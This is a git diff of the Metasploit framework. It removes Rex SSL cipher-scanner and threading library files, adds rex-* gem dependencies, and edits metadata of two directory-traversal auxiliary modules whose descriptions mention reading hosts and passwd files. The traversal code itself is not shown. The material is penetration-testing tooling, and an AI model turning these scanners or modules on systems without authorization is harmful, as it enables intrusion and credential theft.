unless input.kind_of? OpenSSL::X509::Certificate or input.nil?
raise ArgumentError, "Must be an X509 Cert!"
end
@cert = input
end
def sslv2
@ciphers.reject{|cipher| cipher[:version] != :SSLv2 }
end
def sslv3
@ciphers.reject{|cipher| cipher[:version] != :SSLv3 }
end
def tlsv1
@ciphers.reject{|cipher| cipher[:version] != :TLSv1 }
end
def weak_ciphers
accepted.reject{|cipher| cipher[:weak] == false }
end
def strong_ciphers
accepted.reject{|cipher| cipher[:weak] }
end
# Returns all accepted ciphers matching the supplied version
# @param version [Symbol, Array] The SSL Version to filter on
# @raise [ArgumentError] if the version supplied is invalid
# @return [Array] An array of accepted cipher details matching the supplied versions
def accepted(version = :all)
enum_ciphers(:accepted, version)
end
# Returns all rejected ciphers matching the supplied version
# @param version [Symbol, Array] The SSL Version to filter on
# @raise [ArgumentError] if the version supplied is invalid
# @return [Array] An array of rejected cipher details matching the supplied versions
def rejected(version = :all)
enum_ciphers(:rejected, version)
end
def each_accepted(version = :all)
accepted(version).each do |cipher_result|
yield cipher_result
end
end
def each_rejected(version = :all)
rejected(version).each do |cipher_result|
yield cipher_result
end
end
def supports_sslv2?
!(accepted(:SSLv2).empty?)
end
def supports_sslv3?
!(accepted(:SSLv3).empty?)
end
def supports_tlsv1?
!(accepted(:TLSv1).empty?)
end
def supports_ssl?
supports_sslv2? or supports_sslv3? or supports_tlsv1?
end
def supports_weak_ciphers?
!(weak_ciphers.empty?)
end
def standards_compliant?
if supports_ssl?
return false if supports_sslv2?
return false if supports_weak_ciphers?
end
true
end
# Adds the details of a cipher test to the Result object.
# @param version [Symbol] the SSL Version
# @param cipher [String] the SSL cipher
# @param key_length [Fixnum] the length of encryption key
# @param status [Symbol] :accepted or :rejected
def add_cipher(version, cipher, key_length, status)
unless @supported_versions.include? version
raise ArgumentError, "Must be a supported SSL Version"
end
unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include?(cipher) \
|| @deprecated_weak_ciphers.include?(cipher)
raise ArgumentError, "Must be a valid SSL Cipher for #{version}!"
end
unless key_length.kind_of? Fixnum
raise ArgumentError, "Must supply a valid key length"
end
unless [:accepted, :rejected].include? status
raise ArgumentError, "Status must be either :accepted or :rejected"
end
strong_cipher_ctx = OpenSSL::SSL::SSLContext.new(version)
# OpenSSL Directive For Strong Ciphers
# See: http://www.rapid7.com/vulndb/lookup/ssl-weak-ciphers
strong_cipher_ctx.ciphers = "ALL:!aNULL:!eNULL:!LOW:!EXP:RC4+RSA:+HIGH:+MEDIUM"
if strong_cipher_ctx.ciphers.flatten.include? cipher
weak = false
else
weak = true
end
cipher_details = {:version => version, :cipher => cipher, :key_length => key_length, :weak => weak, :status => status}
@ciphers << cipher_details
end
def to_s
unless supports_ssl?
return "Server does not appear to support SSL on this port!"
end
table = Rex::Text::Table.new(
'Header' => 'SSL Ciphers',
'Indent' => 1,
'Columns' => ['Status', 'Weak', 'SSL Version', 'Key Length', 'Cipher'],
'SortIndex' => -1
)
ciphers.each do |cipher|
if cipher[:weak]
weak = '*'
else
weak = ' '
end
table << [cipher[:status].to_s.capitalize, weak , cipher[:version], cipher[:key_length], cipher[:cipher]]
end
# Sort by SSL Version, then Key Length, and then Status
table.rows.sort_by!{|row| [row[0],row[2],row[3]]}
text = "#{table.to_s}"
if @cert
text << " \n\n #{@cert.to_text}"
end
if openssl_sslv2 == false
text << "\n\n *** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!"
end
text
end
protected
# @param state [Symbol] Either :accepted or :rejected
# @param version [Symbol, Array] The SSL Version to filter on (:SSLv2, :SSLv3, :TLSv1, :all)
# @return [Set] The Set of cipher results matching the filter criteria
def enum_ciphers(state, version = :all)
case version
when Symbol
case version
when :all
return @ciphers.select{|cipher| cipher[:status] == state}
when :SSLv2, :SSLv3, :TLSv1
return @ciphers.select{|cipher| cipher[:status] == state and cipher[:version] == version}
else
raise ArgumentError, "Invalid SSL Version Supplied: #{version}"
end
when Array
version = version.reject{|v| !(@supported_versions.include? v)}
if version.empty?
return @ciphers.select{|cipher| cipher[:status] == state}
else
return @ciphers.select{|cipher| cipher[:status] == state and version.include? cipher[:version]}
end
else
raise ArgumentError, "Was expecting Symbol or Array and got #{version.class}"
end
end
end
end

View File

@ -1,206 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'rex/sslscan/result'
module Rex::SSLScan
class Scanner
attr_accessor :context
attr_accessor :host
attr_accessor :port
attr_accessor :timeout
attr_reader :supported_versions
attr_reader :sslv2
# Initializes the scanner object
# @param host [String] IP address or hostname to scan
# @param port [Fixnum] Port number to scan, default: 443
# @param timeout [Fixnum] Timeout for connections, in seconds. default: 5
# @raise [StandardError] Raised when the configuration is invalid
def initialize(host,port = 443,context = {},timeout=5)
@host = host
@port = port
@timeout = timeout
@context = context
if check_opensslv2 == true
@supported_versions = [:SSLv2, :SSLv3, :TLSv1]
@sslv2 = true
else
@supported_versions = [:SSLv3, :TLSv1]
@sslv2 = false
end
raise StandardError, "The scanner configuration is invalid" unless valid?
end
# Checks whether the scanner option has a valid configuration
# @return [Boolean] True or False, the configuration is valid.
def valid?
begin
@host = Rex::Socket.getaddress(@host, true)
rescue
return false
end
return false unless @port.kind_of? Fixnum
return false unless @port >= 0 and @port <= 65535
return false unless @timeout.kind_of? Fixnum
return true
end
# Initiate the Scan against the target. Will test each cipher one at a time.
# @return [Result] object containing the details of the scan
def scan
scan_result = Rex::SSLScan::Result.new
scan_result.openssl_sslv2 = sslv2
# If we can't get any SSL connection, then don't bother testing
# individual ciphers.
if test_ssl == :rejected and test_tls == :rejected
return scan_result
end
@supported_versions.each do |ssl_version|
sslctx = OpenSSL::SSL::SSLContext.new(ssl_version)
sslctx.ciphers.each do |cipher_name, ssl_ver, key_length, alg_length|
status = test_cipher(ssl_version, cipher_name)
scan_result.add_cipher(ssl_version, cipher_name, key_length, status)
if status == :accepted and scan_result.cert.nil?
scan_result.cert = get_cert(ssl_version, cipher_name)
end
end
end
scan_result
end
def test_ssl
begin
scan_client = Rex::Socket::Tcp.create(
'Context' => @context,
'PeerHost' => @host,
'PeerPort' => @port,
'SSL' => true,
'SSLVersion' => :SSLv23,
'Timeout' => @timeout
)
rescue ::Exception => e
return :rejected
ensure
if scan_client
scan_client.close
end
end
return :accepted
end
def test_tls
begin
scan_client = Rex::Socket::Tcp.create(
'Context' => @context,
'PeerHost' => @host,
'PeerPort' => @port,
'SSL' => true,
'SSLVersion' => :TLSv1,
'Timeout' => @timeout
)
rescue ::Exception => e
return :rejected
ensure
if scan_client
scan_client.close
end
end
return :accepted
end
# Tests the specified SSL Version and Cipher against the configured target
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
# @param cipher [String] The SSL Cipher to use
# @return [Symbol] Either :accepted or :rejected
def test_cipher(ssl_version, cipher)
validate_params(ssl_version,cipher)
begin
scan_client = Rex::Socket::Tcp.create(
'Context' => @context,
'PeerHost' => @host,
'PeerPort' => @port,
'SSL' => true,
'SSLVersion' => ssl_version,
'SSLCipher' => cipher,
'Timeout' => @timeout
)
rescue ::Exception => e
return :rejected
ensure
if scan_client
scan_client.close
end
end
return :accepted
end
# Retrieve the X509 Cert from the target service,
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
# @param cipher [String] The SSL Cipher to use
# @return [OpenSSL::X509::Certificate] if the certificate was retrieved
# @return [Nil] if the cert couldn't be retrieved
def get_cert(ssl_version, cipher)
validate_params(ssl_version,cipher)
begin
scan_client = Rex::Socket::Tcp.create(
'PeerHost' => @host,
'PeerPort' => @port,
'SSL' => true,
'SSLVersion' => ssl_version,
'SSLCipher' => cipher,
'Timeout' => @timeout
)
cert = scan_client.peer_cert
if cert.kind_of? OpenSSL::X509::Certificate
return cert
else
return nil
end
rescue ::Exception => e
return nil
ensure
if scan_client
scan_client.close
end
end
end
protected
# Validates that the SSL Version and Cipher are valid both seperately and
# together as part of an SSL Context.
# @param ssl_version [Symbol] The SSL version to use (:SSLv2, :SSLv3, :TLSv1)
# @param cipher [String] The SSL Cipher to use
# @raise [StandardError] If an invalid or unsupported SSL Version was supplied
# @raise [StandardError] If the cipher is not valid for that version of SSL
def validate_params(ssl_version, cipher)
raise StandardError, "The scanner configuration is invalid" unless valid?
unless @supported_versions.include? ssl_version
raise StandardError, "SSL Version must be one of: #{@supported_versions.to_s}"
end
if ssl_version == :SSLv2 and sslv2 == false
raise StandardError, "Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!"
else
unless OpenSSL::SSL::SSLContext.new(ssl_version).ciphers.flatten.include? cipher
raise StandardError, "Must be a valid SSL Cipher for #{ssl_version}!"
end
end
end
def check_opensslv2
begin
OpenSSL::SSL::SSLContext.new(:SSLv2)
rescue
return false
end
return true
end
end
end

View File

@ -1,6 +0,0 @@
# -*- coding: binary -*-
require 'rex/sync/thread_safe'
require 'rex/sync/ref'
require 'rex/sync/read_write_lock'
require 'rex/sync/event'

View File

@ -1,85 +0,0 @@
# -*- coding: binary -*-
require 'thread'
module Rex
module Sync
###
#
# This class wraps the logical ConditionVariable class to make it an easier to
# work with interface that is similar to Windows' synchronization events.
#
###
class Event
Infinite = 10000
#
# Initializes a waitable event. The state parameter initializes the
# default state of the event. If auto_reset is true, any calls to set()
# will automatically reset the event back to an unset state.
#
def initialize(state = false, auto_reset = true, param = nil)
self.state = state
self.auto_reset = auto_reset
self.param = param
self.mutex = Mutex.new
self.cond = ConditionVariable.new
end
#
# Sets the event and wakes up anyone who was waiting.
#
def set(param = nil)
self.param = param
self.mutex.synchronize {
# If this event does not automatically reset its state,
# set the state to true
if (auto_reset == false)
self.state = true
end
self.cond.broadcast
}
end
#
# Resets the signaled state to false.
#
def reset
self.param = nil
self.state = false
end
#
# Alias notify with set.
#
alias notify set
#
# Waits for the event to become signaled. Timeout is measured in
# seconds. Raises TimeoutError if the condition does not become signaled.
#
def wait(t = Infinite)
self.mutex.synchronize {
break if (self.state == true)
Timeout.timeout(t) {
self.cond.wait(self.mutex)
}
}
return self.param
end
protected
attr_accessor :state, :auto_reset # :nodoc:
attr_accessor :param, :mutex, :cond # :nodoc:
end
end
end

View File

@ -1,177 +0,0 @@
# -*- coding: binary -*-
require 'thread'
module Rex
###
#
# This class implements a read/write lock synchronization
# primitive. It is meant to allow for more efficient access to
# resources that are more often read from than written to and many
# times can have concurrent reader threads. By allowing the reader
# threads to lock the resource concurrently rather than serially,
# a large performance boost can be seen. Acquiring a write lock
# results in exclusive access to the resource and thereby prevents
# any read operations during the time that a write lock is acquired.
# Only one write lock may be acquired at a time.
#
###
class ReadWriteLock
#
# Initializes a reader/writer lock instance.
#
def initialize
@read_sync_mutex = Mutex.new
@write_sync_mutex = Mutex.new
@exclusive_mutex = Mutex.new
@readers = 0
@writer = false
end
#
# Acquires the read lock for the calling thread.
#
def lock_read
read_sync_mutex.lock
begin
# If there are a non-zero number of readers and a
# writer is waiting to acquire the exclusive lock,
# free up the sync mutex temporarily and lock/unlock
# the exclusive lock. This is to give the writer
# thread a chance to acquire the lock and prevents
# it from being constantly starved.
if ((@readers > 0) and
(@writer))
read_sync_mutex.unlock
exclusive_mutex.lock
exclusive_mutex.unlock
read_sync_mutex.lock
end
# Increment the active reader count
@readers += 1
# If we now have just one reader, acquire the exclusive
# lock. Track the thread owner so that we release the
# lock from within the same thread context later on.
if (@readers == 1)
exclusive_mutex.lock
@owner = Thread.current
end
ensure
read_sync_mutex.unlock
end
end
#
# Releases the read lock for the calling thread.
#
def unlock_read
read_sync_mutex.lock
begin
unlocked = false
# Keep looping until we've lost this thread's reader
# lock
while (!unlocked)
# If there are no more readers left after this one
if (@readers - 1 == 0)
# If the calling thread is the owner of the exclusive
# reader lock, then let's release it
if (Thread.current == @owner)
@owner = nil
exclusive_mutex.unlock
end
# If there is more than one reader left and this thread is
# the owner of the exclusive lock, then keep looping so that
# we can eventually unlock the exclusive mutex in this thread's
# context
elsif (Thread.current == @owner)
read_sync_mutex.unlock
next
end
# Unlocked!
unlocked = true
# Decrement the active reader count
@readers -= 1
end
ensure
read_sync_mutex.unlock
end
end
#
# Acquire the exclusive write lock.
#
def lock_write
write_sync_mutex.lock
begin
@writer = true
exclusive_mutex.lock
@owner = Thread.current
ensure
write_sync_mutex.unlock
end
end
#
# Release the exclusive write lock.
#
def unlock_write
# If the caller is not the owner of the write lock, then someone is
# doing something broken, let's let them know.
if (Thread.current != @owner)
raise RuntimeError, "Non-owner calling thread attempted to release write lock", caller
end
# Otherwise, release the exclusive write lock
@writer = false
exclusive_mutex.unlock
end
#
# Synchronize a block for read access.
#
def synchronize_read
lock_read
begin
yield
ensure
unlock_read
end
end
#
# Synchronize a block for write access.
#
def synchronize_write
lock_write
begin
yield
ensure
unlock_write
end
end
protected
attr_accessor :read_sync_mutex # :nodoc:
attr_accessor :write_sync_mutex # :nodoc:
attr_accessor :exclusive_mutex # :nodoc:
end
end

View File

@ -1,58 +0,0 @@
# -*- coding: binary -*-
require 'thread'
module Rex
###
#
# This module provides a uniform reference counted interface for classes to
# use.
#
###
module Ref
#
# Initializes the reference count to one.
#
def refinit
@_references = 1
@_references_mutex = Mutex.new
self
end
#
# Increments the total number of references.
#
def ref
@_references_mutex.synchronize {
@_references += 1
}
self
end
#
# Decrements the total number of references. If the reference count
# reaches zero, true is returned. Otherwise, false is returned.
#
def deref
@_references_mutex.synchronize {
if ((@_references -= 1) == 0)
cleanup
true
else
false
end
}
end
#
# Called to clean up resources once the ref count drops to zero.
#
def cleanup
end
end
end

View File

@ -1,83 +0,0 @@
# -*- coding: binary -*-
require 'timeout'
module Rex
###
#
# This module provides a set of methods for performing various blocking
# operations in a manner that is compatible with ruby style threads.
#
###
module ThreadSafe
DefaultCycle = 0.2
#
# Wraps calls to select with a lower timeout period and does the
# calculations to walk down to zero timeout. This has a little room for
# improvement in that it should probably check how much time actually
# elapsed during the select call considering ruby threading wont be exactly
# accurate perhaps.
#
def self.select(rfd = nil, wfd = nil, efd = nil, t = nil)
left = t
# Immediately raise a StreamClosedError if the socket was closed. This
# prevents a bad fd from being passed downstream and solves an issue
# with Ruby on Windows.
rfd.each { |fd| raise StreamClosedError.new(fd) if (fd.closed?) } if rfd
begin
orig_size = rfd.length if (rfd)
# Poll the set supplied to us at least once.
begin
rv = ::IO.select(rfd, wfd, efd, DefaultCycle)
rescue ::IOError, ::Errno::EBADF, ::Errno::ENOTSOCK
# If a stream was detected as being closed, re-raise the error as
# a StreamClosedError with the specific file descriptor that was
# detected as being closed. This is to better handle the case of
# a closed socket being detected so that it can be cleaned up and
# removed.
rfd.each { |fd| raise StreamClosedError.new(fd) if (fd.closed?) } if rfd
# If the original rfd length is not the same as the current
# length, then the list may have been altered and as such may not
# contain the socket that caused the IOError. This is a bad way
# to do this since it's possible that the array length could be
# back to the size that it was originally and yet have had the
# socket that caused the IOError to be removed.
return nil if (rfd and rfd.length != orig_size)
# Re-raise the exception since we didn't handle it here.
raise $!
# rescue ::Exception => e
# $stderr.puts "SELECT(#{t}) #{[rfd,wfd,efd].inspect} #{e.class} #{e} #{e.backtrace}"
end
return rv if (rv)
# Decrement the amount of time left by the polling cycle
left -= DefaultCycle if (left)
# Keep chugging until we run out of time, if time was supplied.
end while ((left == nil) or (left > 0))
# Nothin.
nil
end
#
# Simulates a sleep operation by selecting on nil until a timeout period
# expires.
#
def self.sleep(seconds=nil)
self.select(nil, nil, nil, seconds)
seconds
end
end
end

View File

@ -13,6 +13,7 @@ require 'rex/ui/text/input'
require 'rex/ui/text/shell'
require 'rex/ui/text/dispatcher_shell'
require 'rex/ui/text/irb_shell'
require 'rex/ui/text/bidirectional_pipe'
require 'rex/text/color'
require 'rex/text/table'

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
module Rex
module IO
module Ui
module Text
require 'rex/ui/text/output'
require 'rex/ui/text/output/buffer'
@ -155,3 +156,4 @@ end
end
end
end

View File

@ -30,13 +30,8 @@ Gem::Specification.new do |spec|
spec.bindir = '.'
if ENV['CREATE_BINSTUBS']
spec.executables = [
'msfbinscan',
'msfconsole',
'msfd',
'msfelfscan',
'msfmachscan',
'msfpescan',
'msfrop',
'msfrpc',
'msfrpcd',
'msfupdate',
@ -77,6 +72,8 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
spec.add_runtime_dependency 'network_interface'
# NTLM authentication
spec.add_runtime_dependency 'rubyntlm'
# Needed by anemone crawler
spec.add_runtime_dependency 'nokogiri'
# Needed by db.rb and Msf::Exploit::Capture
@ -113,6 +110,8 @@ Gem::Specification.new do |spec|
#
# REX Libraries
#
# Core of the Ruby Exploitation Library
spec.add_runtime_dependency 'rex-core'
# Text manipulation library for things like generating random string
spec.add_runtime_dependency 'rex-text'
# Library for Generating Randomized strings valid as Identifiers such as variable names
@ -134,6 +133,16 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-ole'
# Library for creating and/or parsing MIME messages.
spec.add_runtime_dependency 'rex-mime'
# Library for Dynamic Multi-byte x86 NOP generation
spec.add_runtime_dependency 'rex-nop'
# Library for parsing and manipulating executable binaries
spec.add_runtime_dependency 'rex-bin_tools'
# Rex Socket Abstraction Layer
spec.add_runtime_dependency 'rex-socket'
# Library for scanning a server's SSL/TLS capabilities
spec.add_runtime_dependency 'rex-sslscan'
# Library and tool for finding ROP gadgets in a supplied binary
spec.add_runtime_dependency 'rex-rop_builder'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -13,8 +13,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have
@ -25,15 +25,16 @@ class MetasploitModule < Msf::Auxiliary
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
},
'References' =>
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
],
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
register_options(

View File

@ -12,8 +12,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
The vulnerability appears to be actually caused by the Tomcat UTF-8
@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
password hashes are stored and anonymously accessible in the passwd file.
},
'References' =>
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
@ -32,8 +32,9 @@ class MetasploitModule < Msf::Auxiliary
[ 'EDB', '17388' ],
[ 'BID', '48225' ],
],
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
register_options(

Some files were not shown because too many files have changed in this diff Show More